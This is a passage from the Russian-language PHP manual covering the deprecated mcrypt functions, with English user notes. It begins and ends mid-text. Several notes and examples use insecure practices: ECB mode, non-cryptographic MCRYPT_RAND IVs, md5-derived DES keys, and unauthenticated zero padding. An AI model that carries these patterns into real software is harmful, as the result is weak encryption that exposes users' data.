base64_encode(mcrypt_ecb(MCRYPT_BLOWFISH,$key,$input,MCRYPT_ENCRYPT));

mcrypt_ecb(MCRYPT_BLOWFISH,$key,base64_decode($input),MCRYPT_DECRYPT);
?>


Создать инициализирующий вектор (Initialization Vector или IV) из случайного источника

  • « Mcrypt
  • mcrypt_decrypt »
  • PHP Manual
  • Mcrypt
  • Создать инициализирующий вектор (Initialization Vector или IV) из случайного источника

mcrypt_create_iv

(PHP 4, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_create_iv — Создать инициализирующий вектор (Initialization Vector или IV) из случайного источника

Внимание

Эта функция объявлена УСТАРЕВШЕЙ в PHP 7.1.0 и УДАЛЕНА в PHP 7.2.0.

Есть следующие альтернативы:

  • random_bytes()

Описание

mcrypt_create_iv(int $size, int $source = MCRYPT_DEV_URANDOM): string

Создаёт инициализирующий вектор из случайного источника.

IV предназначен только для задания альтернативного начального случайного числа для процедур шифрования. IV не обязательно должен быть секретным, хотя это и желательно. Вы даже можете отправить его вместе со своим зашифрованным текстом, не теряя при этом в безопасности.

Список параметров

size

Размер IV.

source

Источник IV. Источник может быть задан одной из констант: MCRYPT_RAND (системный генератор случайных чисел), MCRYPT_DEV_RANDOM (читает данные из /dev/random) или MCRYPT_DEV_URANDOM (читает данные из /dev/urandom). До версии 5.3.0, на Windows поддерживался только MCRYPT_RAND.

Обратите внимание, что до PHP 5.6.0 значением по умолчанию было MCRYPT_DEV_RANDOM.

Замечание: Обратите внимание, что MCRYPT_DEV_RANDOM может блокироваться до появления достаточной энтропии.

Возвращаемые значения

Возвращает инициализирующий вектор или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mcrypt_create_iv()

<?php
$size = mcrypt_get_iv_size(MCRYPT_CAST_256, MCRYPT_MODE_CFB);
$iv = mcrypt_create_iv($size, MCRYPT_DEV_RANDOM);
?>

Смотрите также

  • » http://www.ciphersbyritter.com/GLOSSARY.HTM#IV
  • » http://www.quadibloc.com/crypto/co0409.htm
  • Applied Cryptography by Schneier (ISBN 0-471-11709-9), раздел 9.3
  • random_bytes() - Получает криптографически безопасные случайные байты

User Contributed Notes

wschalle at gmail dot com 01-May-2015 02:21
hans at illis dot nl's demonstration code is incorrect. In the loop, he uses:

$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_RAND);

When it should actually be:

$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_DEV_URANDOM);

This produces consistent results on Windows.
joseph dot t dot fallon at gmail dot com 10-Dec-2014 07:32
Block ciphers, at their core, are a pair of transformation algorithms, called transforms. One encrypts, one decrypts - in some cases the algorithms are one and the same, but that's not important. A block transform takes a fixed-length block of plaintext, transforms it using a secret key of some chosen size, and produces an identical-length block of ciphertext. Or, of course, vice versa (decryption).

The security model of a block cipher is, simplistically at least, defined to be "if you encrypt one block of plaintext with a randomly chosen key, it will be computationally infeasible for an attacker with knowledge of only the ciphertext (i.e. he does not know the key) to discover information about the contents of the plaintext". The reality is slightly different - there are also clauses around knowing part of the plaintext and not being able to discover any more of it - but that's another story.

Once you start encrypting more than one block of plaintext using the same block transform and the same key, all bets are off. In the Electronic Codebook (ECB) cipher mode, each block of plaintext is independently transformed using the same key. This leads to a problem: identical plaintext blocks produce identical ciphertext blocks, when the same key is used. This means that "patterns" in the data can be seen, especially in data formats that have repeating patterns or long sequences of identical data. This is best described visually, with an ECB-encrypted bitmap. See the Wikipedia article on ECB for a demonstration of this.
Mahn 24-Aug-2014 12:50
Specify MCRYPT_RAND in the second parameter if this function randomly hangs in your requests.
Graham 16-Mar-2014 11:35
In relation to all of the crypto "advice" seen here, my suggestion is that you ignore most of it. Some of it is good, some of it is bad, but most of it skips the critical issues.

I had hoped to write out a nice long explanation, but PHP's commenting system tells me my essay is too long. Instead I will say this:

You should use CBC, with a randomly chosen IV that is unique per key, and you should transmit that IV in the clear along with your ciphertext. You should also perform an authenticity check of that entire data blob, using something like HMAC-SHA256, with another independent key.

Here's the full-text of what I was going to write: http://pastebin.com/sN6buivY

If you're interested in this stuff, or just want more information, check out the Wikipedia articles around block cipher modes, block ciphers, HMAC, etc.

I also suggest reading Practical Cryptography by Bruce Schneier, as well as Cryptography Engineering by Niels Ferguson, both of which are very easy-to-digest books on practical cryptography.
nils at nm dot cx 19-Jun-2012 12:26
If you use /dev/random you need a well filled entropy pool or the application will block until enough good entropy comes available
hans at llis dot nl 29-Apr-2012 10:01
This does NOT generate randomly distributed IV's on all systems and therefore poses a big security risk. Using a script (based on the one that Alex Khimch's posted on the rand() page) one can easily check this:

<?php

$td = mcrypt_module_open (MCRYPT_RIJNDAEL_256, "", MCRYPT_MODE_CBC, "");
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_DEV_RANDOM);

// header("Content-type: image/png");
$img = imagecreatetruecolor(255,255);

$ink = imagecolorallocate($img,255,255,255);
for($i=0;$i<255;$i++) {
  for($j=0;$j<255;$j++) {
  $twobytes = substr ($iv, 0, 2);
  $iv = substr ($iv, 2);
  if (!strlen ($iv)) $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_RAND);

  imagesetpixel($img, ord($twobytes[0]), ord($twobytes[1]), $ink);
  }
}

imagepng($img);
imagedestroy($img);

?>

The resulting image should show random noise, but on the windows systems I tested (running PHP 5.3.x) it showed very distinct patterns.
Matthew 25-Sep-2008 07:09
I encrypt a few items on a page in a project i am working on and I have found the IV create function to introduce huge delays in rendering the page too (I noticed someone else here had this problem).

It's quite common for a 4 second render time for what should be a snappy site. I would recommend that if speed is essential that an alternative method be used to create your IV (such as the one below if you feel it secure enough).

After using an alternative IV creation method my page went from a 4 second render to a 0.01 second render time.
Chris 05-Nov-2006 03:07
>First, the IV should be random and variable. The whole >point of it is to ensure that the same plaintext does not >encrypt to the same ciphertext every time. You most >certainly do lose security if the IV is constant or public.

Wrong, Wrong WRONG! The initialization vector is ALLOWED to be PUBLIC! It is generally sent along with the ciphertext, UNENCRYPTED.

>The ciphertext should be E(IV | plaintext, key)

Wrong again! The initialization vector is NOT prepended to the plaintext before encryption. The IV is used to seed the feedback system! (which is why you don't need one in ECB mode - there is no feedback)

>Second, the IV should not be part of the decryption >parameters at all. You should be able to decrypt the cipher >text, throw away the initial vector at the front w/o even >reading it, and have your plaintext:

Nope. You need to seed the feedback mechanism during decryption to the SAME state as it was seeded during encryption. This means using the SAME IV!
kkaiser at dataresolutions dot com 11-Jul-2006 01:26
After profiling a rather large, dynamic website I maintain to determine the cause of intermittent freezing in execution, I found that calls to mcrypt_create_iv() using MCRYPT_DEV_RANDOM as the source consistently halted execution for anywhere from 0.2 to ~12 seconds per call, ironically at random. I'm making the assumption that the halts were caused by insufficient random input being currently available in /dev/random due to its intended function to block until enough random input is provided back to the device. I've found it to be sufficient for my needs to use a modified version of the alt_mcrypt_create_iv() function found below.

Although untested, I assume using MCRYPT_DEV_URANDOM or a combination of MCRYPT_DEV_RAND with srand() would've solved the problem as well; I found out after the fact that /dev/urandom's intended function is to seamlessly provide cryptographically secure output from the random number generator when the /dev/urandom buffer was empty, and MCRYPT_DEV_RAND would simply use the same rand() function as alt_mcrypt_create_iv().

-Kevin Kaiser
Anonymous 17-Oct-2005 09:01
At:
edwardzyang at thewritingpot dot com
19-Jul-2005 10:06

This is because of the fact, that (like described in the manual above) this function does NOT reseed the random number generator, in contrary to rand(). Use srand() like suggested above to get correct IVs.
tim at indigopixel dot com 17-Mar-2004 04:32
From http://www.ciphersbyritter.com/GLOSSARY.HTM#IV (linked to above):

"While it is often said that IV values need only be random-like or unpredictable, and need not be confidential, in the case of CBC mode, that advice can lead to man-in-the-middle attacks on the first plaintext block. If a MITM opponent knows the usual content of the first block, they can change the IV to manipulate that block (and only that block) to deliver a different address, or different dollar amounts, or different commands, or whatever. And while the conventional advice is to use a MAC at a higher level to detect changed plaintext, that is not always desirable or properly executed. But the CBC first-block problem is easily solved at the CBC level simply by enciphering the IV and otherwise keeping it confidential, and that can be reasonable even when a MAC will be used later."
robert at peakepro dot com 03-Mar-2004 12:25
It is important to note that all cipher modes except ecb require the same IV to be used in decryption as was used in encryption.

You need to pass the key *and* the IV to your decrypt function. Initializing a new IV in the decrypt routine will not work.

Since, "you even can send [the IV] along with your ciphertext without  loosing security," a nice way to handle this is to prepend your IV to your ciphertext. Since the IV is fixed-width, you can then easily recover the IV and original ciphertext using mcrypt_get_iv_size() and substr().

Here is an example:

<?PHP
function my_encrypt($string,$key) {
   srand((double) microtime() * 1000000); //for sake of MCRYPT_RAND
   $key = md5($key); //to improve variance
  /* Open module, and create IV */
  $td = mcrypt_module_open('des', '','cfb', '');
  $key = substr($key, 0, mcrypt_enc_get_key_size($td));
  $iv_size = mcrypt_enc_get_iv_size($td);
  $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
  /* Initialize encryption handle */
   if (mcrypt_generic_init($td, $key, $iv) != -1) {

      /* Encrypt data */
      $c_t = mcrypt_generic($td, $string);
      mcrypt_generic_deinit($td);
      mcrypt_module_close($td);
       $c_t = $iv.$c_t;
       return $c_t;
   } //end if
}

function my_decrypt($string,$key) {
   $key = md5($key); //to improve variance
  /* Open module, and create IV */
  $td = mcrypt_module_open('des', '','cfb', '');
  $key = substr($key, 0, mcrypt_enc_get_key_size($td));
  $iv_size = mcrypt_enc_get_iv_size($td);
  $iv = substr($string,0,$iv_size);
  $string = substr($string,$iv_size);
  /* Initialize encryption handle */
   if (mcrypt_generic_init($td, $key, $iv) != -1) {

      /* Encrypt data */
      $c_t = mdecrypt_generic($td, $string);
      mcrypt_generic_deinit($td);
      mcrypt_module_close($td);
       return $c_t;
   } //end if
}
// to test:
//print my_decrypt(my_encrypt("Hello, world.","foo"),"foo");
?>
fandelem at hotmail dot com 06-Mar-2002 03:59
note: if you are experiencing a problem about complaining that the second parameter has to be a 'long' and you are giving a 'string' (for me, it was using MCRYPT_URANDOM) you might want to try MCRYPT_DEV_URANDOM :)


Расшифровывает данные с заданными параметрами

  • « mcrypt_create_iv
  • mcrypt_enc_get_algorithms_name »
  • PHP Manual
  • Mcrypt
  • Расшифровывает данные с заданными параметрами

mcrypt_decrypt

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_decrypt — Расшифровывает данные с заданными параметрами

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_decrypt(
string $cipher,
string $key,
string $data,
string $mode,
string $iv = ?
): string|false

Расшифровывает data и возвращает полученное значение.

Список параметров

cipher

Одна из констант MCRYPT_ciphername или название алгоритма в виде строки.

key

Ключ, с которым шифровались данные. Если длина заданного ключа не подходит к указанному шифру, то функция выдаст предупреждение и вернёт false

data

Данные, которые надо расшифровать с использованием шифра cipher и режима mode. Если размер данных не кратен размеру блока, то они будут дополнены символами '\0'.

mode

Одна из констант MCRYPT_MODE_modename, либо одна из следующих строк: "ecb", "cbc", "cfb", "ofb", "nofb" и "stream".

iv

Используется для инициализации в режимах CBC, CFB, OFB, а также в некоторых алгоритмах в режиме STREAM. Если переданный IV размер не поддерживается режимом сцепления или IV не был передан, а режим сцепления его требует, функция сгенерирует предупреждение об ошибке и вернёт false.

Возвращаемые значения

Возвращает строку с расшифрованными данными или false в случае возникновения ошибки.

Смотрите также

  • mcrypt_encrypt() - Шифрует текст с заданными параметрами

User Contributed Notes

gmmarco at outlook dot my 28-Nov-2017 05:43
Look at http://php.net/manual/en/function.openssl-decrypt.php for a replacement.

Supports PHP 5 >= 5.3.0, PHP 7
pnz dot r00t at yandex dot ru 29-Feb-2016 11:44
When i using this function i find some problem, with adding additional binary symbols in decode message.
$sDecrypt - «2433091»
$sDecrypt strlen - 16 (before trim)
$sDecrypt - «2433091»
$sDecrypt strlen - 7 (after trim)
At local PC this problem solved by using trim/trim, but if I send my encrypt message to sever, and try encrypt them, I see that my message is not 16 symbols, as it was in my local pc, it is 32 sybmols, after encode. And trim function not working. I look at symbols code and what I see
    50
    52
    51
    51
    48
    57
    49
    0
    0
    0
    0
    0
    0
    0
    0
    0
    10
    158
    112
    183
    154
    27
    95
    85
    42
    35
    95
    54
    227
    41
    179
    77
After "tabulation symbols" I get some junk symbols, and  I solve this problems like this.
After mcrypt_decrypt I use this code
$plaintext_dec = substr($plaintext_dec, 0, strpos($plaintext_dec, "\0"));
I think it is not best resolution for this problem, but I solve my problem :)
artaxerxes2 at iname dot com 21-May-2013 04:17
To decrypt data coming from MySQL's AES_ENCRYPT function:

<?php

function mysql_aes_key($key)
{
    $new_key = str_repeat(chr(0), 16);
    for($i=0,$len=strlen($key);$i<$len;$i++)
    {
        $new_key[$i%16] = $new_key[$i%16] ^ $key[$i];
    }
    return $new_key;
}

function aes_decrypt($encrypted,$key)
{
    // if $encrypted is HEXed, then return it to binary
    $encrypted = pack('H*',$encrypted);

    $key = mysql_aes_key($key);
    return rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$key,$encrypted,MCRYPT_MODE_ECB,''),"\x00..\x1F");
}

?>

adapted from the article "Replicating MySQL AES Encryption Methods With PHP" (dated 2012-05-20) found somewhere online.
beltrachi 30-Sep-2011 12:34
Caution, MCRYPT_RIJNDAEL_256 is not equivalent to AES_256.

The way to make RIJNDAEL be decrypted from AES with openssl is to use MCRYPT_RIJNDAEL_128 and padd the string to encrypt before encrypting with the follwing function:

<?php
function pkcs5_pad ($text, $blocksize) {
    $pad = $blocksize - (strlen($text) % $blocksize);
    return $text . str_repeat(chr($pad), $pad);
}
?>

On the decryption, the choosing of AES_256 or AES_128, etc. is based on the keysize used in the crypting. In my case it was a 128bit key so I used AES_128.
evangelion207 at hotmail dot com 17-Apr-2011 08:24
Be careful, sometimes mcrypt_decrypt return additional white spaces to the uncrypted string; use trim() for deleting them. I was like 2 hours searching the error and it was that..
Anonymous 24-Nov-2010 03:41
To remove PKCS7 padding:

<?php
    $decrypted = mdecrypt_generic($td, base64_decode($enc_auth_token));
    $dec_s = strlen($decrypted);
    $padding = ord($decrypted[$dec_s-1]);
    $decrypted = substr($decrypted, 0, -$padding);
?>
david at sickmiller dot com 02-Oct-2008 10:15
If you happen to be decrypting something encrypted in ColdFusion, you'll discover that its encrypt function apparently pads the plaintext with ASCII 4, the "end of transmission" character.

Building on eddiec's code, you can remove both nulls and EOTs with this:

<?php
    $retval = mcrypt_decrypt( ...etc ...);
    $retval = rtrim($retval, "\0\4");     // trim ONLY the nulls and EOTs at the END
?>
eddiec at stararcher dot com 13-Jul-2005 06:26
It appears that mcrypt_decrypt pads the *RETURN STRING* with nulls ('\0') to fill out to n * blocksize.  For old C-programmers, like myself, it is easy to believe the string ends at the first null.  In PHP it does not:

    strlen("abc\0\0") returns 5 and *NOT* 3
    strcmp("abc", "abc\0\0") returns -2 and *NOT* 0

I learned this lesson painfully when I passed a string returned from mycrypt_decrypt into a NuSoap message, which happily passed the nulls along to the receiver, who couldn't figure out what I was talking about.

My solution was:
<?php
    $retval = mcrypt_decrypt( ...etc ...);
    $retval = rtrim($retval, "\0");     // trim ONLY the nulls at the END
?>


Возвращает имя алгоритма

  • « mcrypt_decrypt
  • mcrypt_enc_get_block_size »
  • PHP Manual
  • Mcrypt
  • Возвращает имя алгоритма

mcrypt_enc_get_algorithms_name

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_algorithms_name — Возвращает имя алгоритма

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_enc_get_algorithms_name(resource $td): string

Эта функция возвращает имя алгоритма.

Список параметров

td

Дескриптор шифрования.

Возвращаемые значения

Возвращает имя открытого алгоритма в виде строки.

Примеры

Пример #1 Пример использования mcrypt_enc_get_algorithms_name()

<?php
$td = mcrypt_module_open(MCRYPT_CAST_256, '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_algorithms_name($td). "\n";

$td = mcrypt_module_open('cast-256', '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_algorithms_name($td). "\n";
?>

Результат выполнения данного примера:

CAST-256
CAST-256

User Contributed Notes

php-manual2 at omershenker dot net 13-May-2003 03:44
For some reason this function (but not mcrypt_list_algorithms()) returns each element in the array twice. If you have this problem, try array_unique(mcrypt_list_algorithms()).


Возвращает размер блока алгоритма

  • « mcrypt_enc_get_algorithms_name
  • mcrypt_enc_get_iv_size »
  • PHP Manual
  • Mcrypt
  • Возвращает размер блока алгоритма

mcrypt_enc_get_block_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_block_size — Возвращает размер блока алгоритма

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_enc_get_block_size(resource $td): int

Возвращает размер блока алгоритма.

Список параметров

td

Дескриптор шифрования.

Возвращаемые значения

Возвращает размер блока алгоритма в байтах.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает размер инициализирующего вектора для алгоритма

  • « mcrypt_enc_get_block_size
  • mcrypt_enc_get_key_size »
  • PHP Manual
  • Mcrypt
  • Возвращает размер инициализирующего вектора для алгоритма

mcrypt_enc_get_iv_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_iv_size — Возвращает размер инициализирующего вектора для алгоритма

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_enc_get_iv_size(resource $td): int

Эта функция возвращает размер инициализирующего вектора в байтах для алгоритма, заданного дескриптором шифрования. Инициализирующий вектор используется в режимах cbc, cfb и ofb и в некоторых алгоритмах в потоковом режиме.

Список параметров

td

Дескриптор шифрования.

Возвращаемые значения

Возвращает размер инициализирующего вектора для алгоритма, или 0, если в целевом алгоритме он не используется.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальную допустимую длину ключа алгоритма

  • « mcrypt_enc_get_iv_size
  • mcrypt_enc_get_modes_name »
  • PHP Manual
  • Mcrypt
  • Возвращает максимальную допустимую длину ключа алгоритма

mcrypt_enc_get_key_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_key_size — Возвращает максимальную допустимую длину ключа алгоритма

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_enc_get_key_size(resource $td): int

Возвращает максимальную допустимую длину ключа алгоритма в байтах.

Список параметров

td

Дескриптор шифрования.

Возвращаемые значения

Возвращает максимальную допустимую длину ключа алгоритма в байтах.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя используемого режима

  • « mcrypt_enc_get_key_size
  • mcrypt_enc_get_supported_key_sizes »
  • PHP Manual
  • Mcrypt
  • Возвращает имя используемого режима

mcrypt_enc_get_modes_name

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_modes_name — Возвращает имя используемого режима

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_enc_get_modes_name(resource $td): string

Возвращает имя используемого режима.

Список параметров

td

Дескриптор шифрования.

Возвращаемые значения

Возвращает имя используемого режима в виде строки.

Примеры

Пример #1 Пример использования mcrypt_enc_get_modes_name()

<?php
$td = mcrypt_module_open (MCRYPT_CAST_256, '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_modes_name($td). "\n";

$td = mcrypt_module_open ('cast-256', '', 'ecb', '');
echo mcrypt_enc_get_modes_name($td). "\n";
?>

Результат выполнения данного примера:

CFB
ECB

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив с допустимыми размерами ключа для используемого алгоритма

  • « mcrypt_enc_get_modes_name
  • mcrypt_enc_is_block_algorithm_mode »
  • PHP Manual
  • Mcrypt
  • Возвращает массив с допустимыми размерами ключа для используемого алгоритма

mcrypt_enc_get_supported_key_sizes

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_get_supported_key_sizes — Возвращает массив с допустимыми размерами ключа для используемого алгоритма

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_enc_get_supported_key_sizes(resource $td): array

Возвращает массив с допустимыми размерами ключа для используемого алгоритма.

Список параметров

td

Дескриптор шифрования.

Возвращаемые значения

Возвращает массив с допустимыми размерами ключа для используемого алгоритма. В случае, когда допустимы любые размеры от 1 до mcrypt_enc_get_key_size(), то возвращается пустой массив.

Примеры

Пример #1 Пример использования mcrypt_enc_get_supported_key_sizes()

<?php
$td = mcrypt_module_open('rijndael-256', '', 'ecb', '');
var_dump(mcrypt_enc_get_supported_key_sizes($td));
?>

Результат выполнения данного примера:

array(3) {
  [0]=>
  int(16)
  [1]=>
  int(24)
  [2]=>
  int(32)
}

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, используется ли блочный режим

  • « mcrypt_enc_get_supported_key_sizes
  • mcrypt_enc_is_block_algorithm »
  • PHP Manual
  • Mcrypt
  • Проверяет, используется ли блочный режим

mcrypt_enc_is_block_algorithm_mode

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_is_block_algorithm_mode — Проверяет, используется ли блочный режим

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_enc_is_block_algorithm_mode(resource $td): bool

Проверяет, используется ли блочный режим (другими словами, false для потоков и true для cbc, cfb, ofb)..

Список параметров

td

Дескриптор шифрования.

Возвращаемые значения

Возвращает true, если используется блочный режим и false, если нет.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, использует ли алгоритм блочные режимы

  • « mcrypt_enc_is_block_algorithm_mode
  • mcrypt_enc_is_block_mode »
  • PHP Manual
  • Mcrypt
  • Проверяет, использует ли алгоритм блочные режимы

mcrypt_enc_is_block_algorithm

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_is_block_algorithm — Проверяет, использует ли алгоритм блочные режимы

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_enc_is_block_algorithm(resource $td): bool

Проверяет, использует ли алгоритм блочные режимы.

Список параметров

td

Дескриптор шифрования.

Возвращаемые значения

Возвращает true, если алгоритм является блочным или false, если потоковый.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, возвращает ли текущий режим блоки

  • « mcrypt_enc_is_block_algorithm
  • mcrypt_enc_self_test »
  • PHP Manual
  • Mcrypt
  • Проверяет, возвращает ли текущий режим блоки

mcrypt_enc_is_block_mode

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_is_block_mode — Проверяет, возвращает ли текущий режим блоки

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_enc_is_block_mode(resource $td): bool

Проверяет, возвращает ли текущий режим блоки (т.е. true для cbc и ecb, и false для cfb и потока).

Список параметров

td

Дескриптор шифрования.

Возвращаемые значения

Возвращает true, если используемый режим возвращает блоки и false, если возвращает байты.

User Contributed Notes

There are no user contributed notes for this page.


Запуск самопроверки открытого модуля

  • « mcrypt_enc_is_block_mode
  • mcrypt_encrypt »
  • PHP Manual
  • Mcrypt
  • Запуск самопроверки открытого модуля

mcrypt_enc_self_test

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_enc_self_test — Запуск самопроверки открытого модуля

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_enc_self_test(resource $td): int

Функция запускает самопроверку алгоритма, заданного дескриптором шифрования td.

Список параметров

td

Дескриптор шифрования.

Возвращаемые значения

Возвращает 0 в случае успешного выполнения и отрицательное int в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Шифрует текст с заданными параметрами

  • « mcrypt_enc_self_test
  • mcrypt_generic_deinit »
  • PHP Manual
  • Mcrypt
  • Шифрует текст с заданными параметрами

mcrypt_encrypt

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_encrypt — Шифрует текст с заданными параметрами

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_encrypt(
string $cipher,
string $key,
string $data,
string $mode,
string $iv = ?
): string|false

Шифрует данные.

Список параметров

cipher

Одна из констант MCRYPT_ciphername или название алгоритма в виде строки.

key

Ключ, с которым будут шифроваться данные. Если длина ключа не соответствует требованием шифра, то будет возвращено false и выдано предупреждение.

data

Данные, которые будут зашифрованы с помощью шифра cipher и режима mode. Если размер данных не кратен размеру блока, то они будут дополнены символами '\0'.

Размер возвращаемого текста может быть больше размера исходных данных data.

mode

Одна из констант MCRYPT_MODE_modename, либо одна из следующих строк: "ecb", "cbc", "cfb", "ofb", "nofb" и "stream".

iv

Используется для инициализации в режимах CBC, CFB, OFB, а также в некоторых алгоритмах в режиме STREAM. Если переданный IV размер не поддерживается режимом сцепления или IV не был передан, а режим сцепления его требует, функция сгенерирует предупреждение об ошибке и вернёт false.

Возвращаемые значения

Возвращает строку с зашифрованными данными или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mcrypt_encrypt()

<?php
# --- ШИФРОВАНИЕ ---

# ключ должен представлять собой случайную бинарную строку.
# Для преобразовангия строки в ключ используйте scrypt, bcrypt или PBKDF2
# Ключ задаётся в виде строки шестнадцатеричных чисел
$key = pack('H*', "bcb04b7e103a0cd8b54763051cef08bc55abe029fdebae5e1d417e2ffb2a00a3");

# Показываем длину ключа.
# Длина ключа должна быть 16, 24 или 32 байт для AES-128, 192 и 256 соответственно
$key_size = strlen($key);
echo "Длина ключа: " . $key_size . "\n";

$plaintext = "This string was AES-256 / CBC / ZeroBytePadding encrypted.";

# Создаём случайный инициализирующий вектор используя режим CBC
$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

# Создаём шифрованный текст совместимыс с AES (размер блока = 128)
# Подходит только для строк не заканчивающихся на 00h
# (потому как это символ дополнения по умолчанию)
$ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key,
$plaintext, MCRYPT_MODE_CBC, $iv);

# Добавляем инициализирующий вектор в начало, чтобы он был доступен для расшифровки
$ciphertext = $iv . $ciphertext;

# перекодируем зашифрованный текст в base64
$ciphertext_base64 = base64_encode($ciphertext);

echo $ciphertext_base64 . "\n";

# === ВНИМАНИЕ ===

# Результирующий шифрованный текст не имеет целостности или аутентичности и не
# защищён от атак padding oracle.

# --- ДЕШИФРОВКА ---

$ciphertext_dec = base64_decode($ciphertext_base64);

# Извлекаем инициализирующий вектор. Длина вектора ($iv_size) должна совпадать
# с тем, что возвращает функция mcrypt_get_iv_size()
$iv_dec = substr($ciphertext_dec, 0, $iv_size);

# Извлекаем зашифрованный текст
$ciphertext_dec = substr($ciphertext_dec, $iv_size);

# Отбрасываем завершающие символы 00h
$plaintext_dec = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key,
$ciphertext_dec, MCRYPT_MODE_CBC, $iv_dec);

echo $plaintext_dec . "\n";
?>

Результат выполнения данного примера:

Длина ключа: 32
ENJW8mS2KaJoNB5E5CoSAAu0xARgsR1bdzFWpEn+poYw45q+73az5kYi4j+0haevext1dGrcW8Qi59txfCBV8BBj3bzRP3dFCp3CPQSJ8eU=
This string was AES-256 / CBC / ZeroBytePadding encrypted.

Смотрите также

  • mcrypt_decrypt() - Расшифровывает данные с заданными параметрами
  • mcrypt_module_open() - Открывает модуль шифрования с использованием указанных алгоритма и режима

User Contributed Notes

Anonymous 14-Jan-2018 09:54
<?php
# Vernam Cipher (One-time pad)
$k1 = '1.key';
$k2 = '2.key';
$d = 'The quick brown fox jumped over the lazy dog';
VernamCipher::createTestKeyFile($k1, 1024);
copy($k1, $k2);
$c1 = new VernamCipher($k1);
$eD = $c1->encryptWithHMAC($d);
echo 'Encrypted: ', bin2hex($eD);
$c2 = new VernamCipher($k2);
echo PHP_EOL, 'Decrypted: ', $c2->decryptWithHMAC($eD);

class VernamCipher
{
    const DEFAULT_HMAC_ALGO = 'sha3-256';
